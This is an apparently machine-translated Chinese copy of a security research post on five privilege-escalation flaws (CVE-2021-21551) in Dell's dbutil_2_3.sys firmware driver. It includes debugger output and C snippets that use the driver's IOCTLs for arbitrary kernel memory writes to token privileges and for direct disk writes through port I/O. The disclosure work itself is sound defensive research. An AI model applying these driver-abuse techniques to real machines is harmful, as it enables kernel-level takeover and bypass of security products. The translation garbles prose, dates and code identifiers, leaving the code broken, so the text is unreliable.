戴尔补丁12岁的司机漏洞影响了数百万台个人电脑

2021-05-05 20:51:33

Sentinellabs在Dell的固件更新驱动程序中发现了五个高度严重性的缺陷,影响了Dell桌面,笔记本电脑,笔记本电脑和平板电脑。

自2009年以来,戴尔已释放了数亿个Windows设备,其中包含易受攻击的驾驶员。

在12月1日,2020年,主动报告了Sentinellabs调查结果,并被追踪为CVE-2021-21551,标有CVSS得分8.8。

几个月前,我开始调查固件更新驱动程序版本2.3(DBUTIL_2_3.SYS)模块的安全姿势,它似乎已在2009年以来一直在使用。今天,固件更新驱动程序组件负责Dell固件通过Dell BIOS实用程序更新,预先安装在运行Windows和已更新的新安装Windows计算机的大多数戴尔计算机上。为消费者和企业系统,数亿个戴尔设备具有定期推动的更新。

驾驶员感到厌恶我的注意力,因为过程黑客有一个很好的功能,每次创建或删除服务时都会弹出通知消息:

这导致发现五个高度严重性的错误,该错误仍未披露了12年。戴尔软件中的这些多个高度严重性漏洞可能允许攻击者从非管理员用户升级权限到内核模式权限。多年来,戴尔发布了全球数亿台计算机(包括桌面,笔记本电脑,笔记本电脑)的易受攻击的BIOS更新实用程序。

Dell已分配一个CVE以覆盖固件更新驱动程序中的所有缺陷,但此单个CVE可以分解为以下五个单独的漏洞:

在今天的帖子中,我将描述这个驱动程序的一些普遍问题。但是,要使戴尔客户有机会修复这种漏洞,我们扣留了我们的概念证明,直到2021年6月1日。概念证明将展示出于记忆腐败问题的第一本地EOP。

与固件更新驱动程序的第一个和最直接的问题出现在没有任何ACL要求的情况下接受IOCTL(输入/输出控制)请求。这意味着它可以由非特权用户调用:

2:KD> !devobj ffffae077fb47820 设备对象(ffffae077fb47820)用于: dbutil_2_3 \ driver \ dbutil driverobject ffffae0782dbce30 当前IRP 00000000 RefCount 1 00009B0C标志00000048 SecurityDescriptor ffffd70bdb4f4160 devext ffffae077fb47970 devobjext ffffae077fb47a10 ExtensionFlags(0x00000800)doe_default_sd_present 特点(0000000000) 设备队列不忙。 2:KD> !SD FFFFD70BDB4F4160 0x1 [被截断] - > dacl: - > ace [0]: - > aceType:Access_allowed_ace_type - > dacl: - > ace [0]: - > aceflags:0x0 - > dacl: - > ace [0]: - > ACESIZE:0x14 - > dacl: - > ace [0]: - >面具:0x001201bf - > dacl: - > ace [0]: - > sid:s-1-1-0(众所周知的组:localhost \每个人) [被截断]

允许任何与驾驶员通信的过程往往是一个糟糕的做法,因为司机以最高的特权运作;因此,一些IOCTL函数可以“通过设计”滥用。

固件更新驱动程序通过IRP_MJ_DEVICE_CONTROL公开许多函数。利用最明显的错误给你一个非常强大的原始。通过IOCTL 0x9B0C1EC8,可以完全控制传递给MEMMOVE的参数,从而允许任意读/写漏洞:

这种漏洞的经典剥削技术将是覆盖当前的进程的Eprocess内部的令牌权限成员中的存在值,其权限我们要升级:

1:KD> dt nt!_sep_token_privileges + 0x000存在:UINT8B 启用+ 0x008:uint8b + 0x010 EnabledByDefault:uint8b

struct ioctl_input_params { uint64_t padding1; UINT64_T地址; uint64_t padding2; uint64_t value_to_write; }; static constexpr uint64_t mask_to_write = maxulonglong; dword bytesreturned = 0; ioctl_input_params privilege_present_params {0}; privilege_present_params.address = presentAddress; privilege_present_params.value_to_write = mask_to_write; DeviceIoControl(HDevice,Profecauity_rw_control_code,& privilege_present_params, sizeof(privilege_present_params),& privilege_present_params,sizeof(privilege_present_params),& bytesreturned,null); ioctl_input_params privilege_enabled_pa​​rams {0}; privilege_enabled_pa​​rams.address = EnabledAddress; privilege_enabled_pa​​rams.value_to_write = mask_to_write; DeviceIoControl(HDevice,Profecaable_rw_control_code,& privilege_enabled_pa​​rams, sizeof(privilege_enabled_pa​​rams),& privilege_enabled_pa​​rams,sizeof(privilege_enabled_pa​​rams),& bytesreturned,null);

此驱动程序中的另一个有趣的漏洞是可以使用任意操作数(LPE#3和LPE#4)中的内核模式运行I / O(IN / OUT)指令。这对利用的微不足道并且可能需要使用各种创造性的技术来实现特权的提升。

由于IOPL(I / O特权级别)等于CPL(当前权限级别),显然可以与外围设备(例如HDD和GPU)交互以直接读取/写入磁盘或调用DMA操作。例如,我们可以与ATA端口IO通信以直接编写到磁盘,然后覆盖由特权进程加载的二进制文件。

以下代码说明了使用ATA端口IO的直接读/写,并显示如何调用那些IOCTL(IN / OUT包装器被抽象):

void port_byte_out(无符号短端口,无符号Char Payload){ unsigned char数据[16] = {0}; *((unsigned long *)((未签名char *)数据))=端口; *((未签名字符*)((未签名字符*)数据+ 4))=有效载荷; bresult = deviceIocontrol(Hdevice,Ioctl_byte_out,数据,尺寸(数据),数据,尺寸(数据),&垃圾,null); 如果(!bresult){ printf(" port_byte_out中的错误:%x \ r \ n",getlasterror()); } } unsigned char port_byte_in(无符号短端口){ unsigned char数据[16] = {0}; *((unsigned long *)((未签名char *)数据))=端口; Bresult = DeviceIoControl(HDevice,IOCTL_BYTE_IN,DATA,SIZEOF(数据),数据,尺寸(数据),&垃圾,null); 如果(!bresult){ printf(" port_byte_in中的错误:%x \ r \ n",getlasterror()); } 返回数据[0]; }

将直接写入HDD而不为该磁盘写入的IRP,基本上绕过操作系统中的所有安全机制,并允许攻击者将任何扇区写入磁盘上的任何扇区。

例如,这是来自LearnOS存储库的代码,该代码利用了直接HDD写入的In / Out指令:

void write_sectors_ata_pio(uint32_t lba,uint8_t sector_count,uint32_t * bytes){ ATA_WAIT_BSY(); port_byte_out(0x1f6,0xe0 |((lba>> 24)& 0xF)); port_byte_out(0x1f2,sector_count); port_byte_out(0x1f3,(uint8_t)lba); port_byte_out(0x1f4,(uint8_t)(lba>> 8)); port_byte_out(0x1f5,(uint8_t)(lba>> 16)); port_byte_out(0x1f7,0x30); //发送write命令 for(int j = 0; j< sector_count; j ++){ ATA_WAIT_BSY(); ATA_WAIT_DRQ(); for(int i = 0; i< 256; i ++){ port_long_out(0x1f0,bytes [i]); } } }

有趣的是,与IOCTL处理程序错误无关,驱动程序文件本身位于C:\ Windows \ Temp中,这也是一个错误本身,并打开了其他问题的大门。漏洞利用的经典方式是将任何ByovD(将您自己的易受攻击的驱动程序带来)转换为权限漏洞的提升,因为加载(易受攻击)驱动程序意味着您需要管理员权限,它基本上消除了漏洞的需要。因此,使用这一侧面的注意漏洞几乎意味着您可以将任何BYOVD带到特权的提升。

在这里,您可以看到概念验证,以演示由于内存损坏而导致的第一个LPE:

高度严重性缺陷可能允许计算机上的任何用户,即使没有特权,也可以在内核模式下升级其权限和运行代码。在这种漏洞的明显滥用中,它们可用于绕过安全产品。

具有访问组织网络的攻击者还可以访问未分组的Dell系统上的执行代码,并使用此漏洞来获得特权的本地提升。然后,攻击者可以利用其他技术枢转到更广泛的网络,如横向运动。

戴尔安全咨询DSA-2021-088中描述了这种漏洞及其补救措施。我们建议戴尔客户,企业和消费者,尽快应用补丁。

虽然Dell正在发布补丁(固定驱动程序),但请注意证书尚未撤销(在撰写本文时)。由于易受攻击的驾驶员仍然可以在前面提到的BYOVD攻击中使用,因此这不被视为最佳实践。请参阅戴尔安全咨询,以获得完整的修复详细信息。

这些高度严重性漏洞,自2009年以来一直存在于戴尔设备中,影响了数亿种设备以及全球数百万用户。类似于以前的漏洞,我透露了一个HID 12年,这可能对未能修补的用户和企业来说是远远达到和重要的。

虽然我们没有看到任何指标,但这些漏洞在狂放中被剥夺到现在,百万企业和用户目前脆弱,攻击者将寻求那些不采取适当行动的企业。我们出版这项研究的原因是不仅帮助我们的客户,还可以帮助社区来了解风险并采取行动。

我们要感谢戴尔的披露方法,并为解决漏洞。

1,Dec,2020 - 2020年12月2日初始报告 - 戴尔回复了票号8,DEC,2020 - 戴尔要求更多信息9,DEC,2020 - 戴尔请求其他信息22,12020 - 戴尔回复了修复应该有空于4月12日,1月20日 - 戴尔回复说,一些漏洞将无法修复,自该产品是eol 27,1月27日,2021 - 戴尔要求更多的时间16,Mar,2021 - 戴尔更新了他们正在合作在Microsoft和FIX中,应在4月29日之前提供,2021年4月29日 - 戴尔要求更多的时间,确认应在4月22日的4月22日之前提供更新 - 戴尔启动了讨论的缩放电话会议博客发布04年,2021年5月 - 初步研究发布给公众